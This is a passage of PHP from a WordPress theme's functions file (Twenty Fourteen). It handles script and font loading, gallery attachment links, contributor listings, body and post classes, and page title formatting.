			'prevText' => __( 'Previous', 'twentyfourteen' ),
			'nextText' => __( 'Next', 'twentyfourteen' )
		) );
	}

	wp_enqueue_script( 'twentyfourteen-script', get_template_directory_uri() . '/js/functions.js', array( 'jquery' ), '20131209', true );
}
add_action( 'wp_enqueue_scripts', 'twentyfourteen_scripts' );

/**
 * Enqueue Google fonts style to admin screen for custom header display.
 *
 * @since Twenty Fourteen 1.0
 *
 * @return void
 */
function twentyfourteen_admin_fonts() {
	wp_enqueue_style( 'twentyfourteen-lato', twentyfourteen_font_url(), array(), null );
}
add_action( 'admin_print_scripts-appearance_page_custom-header', 'twentyfourteen_admin_fonts' );

if ( ! function_exists( 'twentyfourteen_the_attached_image' ) ) :
/**
 * Print the attached image with a link to the next attached image.
 *
 * @since Twenty Fourteen 1.0
 *
 * @return void
 */
function twentyfourteen_the_attached_image() {
	$post                = get_post();
	/**
	 * Filter the default Twenty Fourteen attachment size.
	 *
	 * @since Twenty Fourteen 1.0
	 *
	 * @param array $dimensions {
	 *     An array of height and width dimensions.
	 *
	 *     @type int $height Height of the image in pixels. Default 810.
	 *     @type int $width  Width of the image in pixels. Default 810.
	 * }
	 */
	$attachment_size     = apply_filters( 'twentyfourteen_attachment_size', array( 810, 810 ) );
	$next_attachment_url = wp_get_attachment_url();

	/*
	 * Grab the IDs of all the image attachments in a gallery so we can get the URL
	 * of the next adjacent image in a gallery, or the first image (if we're
	 * looking at the last image in a gallery), or, in a gallery of one, just the
	 * link to that image file.
	 */
	$attachment_ids = get_posts( array(
		'post_parent'    => $post->post_parent,
		'fields'         => 'ids',
		'numberposts'    => -1,
		'post_status'    => 'inherit',
		'post_type'      => 'attachment',
		'post_mime_type' => 'image',
		'order'          => 'ASC',
		'orderby'        => 'menu_order ID',
	) );

	// If there is more than 1 attachment in a gallery...
	if ( count( $attachment_ids ) > 1 ) {
		foreach ( $attachment_ids as $attachment_id ) {
			if ( $attachment_id == $post->ID ) {
				$next_id = current( $attachment_ids );
				break;
			}
		}

		// get the URL of the next image attachment...
		if ( $next_id ) {
			$next_attachment_url = get_attachment_link( $next_id );
		}

		// or get the URL of the first image attachment.
		else {
			$next_attachment_url = get_attachment_link( array_shift( $attachment_ids ) );
		}
	}

	printf( '<a href="%1$s" rel="attachment">%2$s</a>',
		esc_url( $next_attachment_url ),
		wp_get_attachment_image( $post->ID, $attachment_size )
	);
}
endif;

if ( ! function_exists( 'twentyfourteen_list_authors' ) ) :
/**
 * Print a list of all site contributors who published at least one post.
 *
 * @since Twenty Fourteen 1.0
 *
 * @return void
 */
function twentyfourteen_list_authors() {
	$contributor_ids = get_users( array(
		'fields'  => 'ID',
		'orderby' => 'post_count',
		'order'   => 'DESC',
		'who'     => 'authors',
	) );

	foreach ( $contributor_ids as $contributor_id ) :
		$post_count = count_user_posts( $contributor_id );

		// Move on if user has not published a post (yet).
		if ( ! $post_count ) {
			continue;
		}
	?>

	<div class="contributor">
		<div class="contributor-info">
			<div class="contributor-avatar"><?php echo get_avatar( $contributor_id, 132 ); ?></div>
			<div class="contributor-summary">
				<h2 class="contributor-name"><?php echo get_the_author_meta( 'display_name', $contributor_id ); ?></h2>
				<p class="contributor-bio">
					<?php echo get_the_author_meta( 'description', $contributor_id ); ?>
				</p>
				<a class="contributor-posts-link" href="<?php echo esc_url( get_author_posts_url( $contributor_id ) ); ?>">
					<?php printf( _n( '%d Article', '%d Articles', $post_count, 'twentyfourteen' ), $post_count ); ?>
				</a>
			</div><!-- .contributor-summary -->
		</div><!-- .contributor-info -->
	</div><!-- .contributor -->

	<?php
	endforeach;
}
endif;

/**
 * Extend the default WordPress body classes.
 *
 * Adds body classes to denote:
 * 1. Single or multiple authors.
 * 2. Presence of header image.
 * 3. Index views.
 * 4. Full-width content layout.
 * 5. Presence of footer widgets.
 * 6. Single views.
 * 7. Featured content layout.
 *
 * @since Twenty Fourteen 1.0
 *
 * @param array $classes A list of existing body class values.
 * @return array The filtered body class list.
 */
function twentyfourteen_body_classes( $classes ) {
	if ( is_multi_author() ) {
		$classes[] = 'group-blog';
	}

	if ( get_header_image() ) {
		$classes[] = 'header-image';
	} else {
		$classes[] = 'masthead-fixed';
	}

	if ( is_archive() || is_search() || is_home() ) {
		$classes[] = 'list-view';
	}

	if ( ( ! is_active_sidebar( 'sidebar-2' ) )
		|| is_page_template( 'page-templates/full-width.php' )
		|| is_page_template( 'page-templates/contributors.php' )
		|| is_attachment() ) {
		$classes[] = 'full-width';
	}

	if ( is_active_sidebar( 'sidebar-3' ) ) {
		$classes[] = 'footer-widgets';
	}

	if ( is_singular() && ! is_front_page() ) {
		$classes[] = 'singular';
	}

	if ( is_front_page() && 'slider' == get_theme_mod( 'featured_content_layout' ) ) {
		$classes[] = 'slider';
	} elseif ( is_front_page() ) {
		$classes[] = 'grid';
	}

	return $classes;
}
add_filter( 'body_class', 'twentyfourteen_body_classes' );

/**
 * Extend the default WordPress post classes.
 *
 * Adds a post class to denote:
 * Non-password protected page with a post thumbnail.
 *
 * @since Twenty Fourteen 1.0
 *
 * @param array $classes A list of existing post class values.
 * @return array The filtered post class list.
 */
function twentyfourteen_post_classes( $classes ) {
	if ( ! post_password_required() && has_post_thumbnail() ) {
		$classes[] = 'has-post-thumbnail';
	}

	return $classes;
}
add_filter( 'post_class', 'twentyfourteen_post_classes' );

/**
 * Create a nicely formatted and more specific title element text for output
 * in head of document, based on current view.
 *
 * @since Twenty Fourteen 1.0
 *
 * @param string $title Default title text for current view.
 * @param string $sep Optional separator.
 * @return string The filtered title.
 */
function twentyfourteen_wp_title( $title, $sep ) {
	global $paged, $page;

	if ( is_feed() ) {
		return $title;
	}

	// Add the site name.
	$title .= get_bloginfo( 'name' );

	// Add the site description for the home/front page.
	$site_description = get_bloginfo( 'description', 'display' );
	if ( $site_description && ( is_home() || is_front_page() ) ) {
		$title = "$title $sep $site_description";
	}

	// Add a page number if necessary.
	if ( $paged >= 2 || $page >= 2 ) {
		$title = "$title $sep " . sprintf( __( 'Page %s', 'twentyfourteen' ), max( $paged, $page ) );
	}

	return $title;
}
add_filter( 'wp_title', 'twentyfourteen_wp_title', 10, 2 );

// Implement Custom Header features.
require get_template_directory() . '/inc/custom-header.php';

// Custom template tags for this theme.
require get_template_directory() . '/inc/template-tags.php';

// Add Theme Customizer functionality.
require get_template_directory() . '/inc/customizer.php';

/*
 * Add Featured Content functionality.
 *
 * To overwrite in a plugin, define your own Featured_Content class on or
 * before the 'setup_theme' hook.
 */
if ( ! class_exists( 'Featured_Content' ) && 'plugins.php' !== $GLOBALS['pagenow'] ) {
	require get_template_directory() . '/inc/featured-content.php';
}
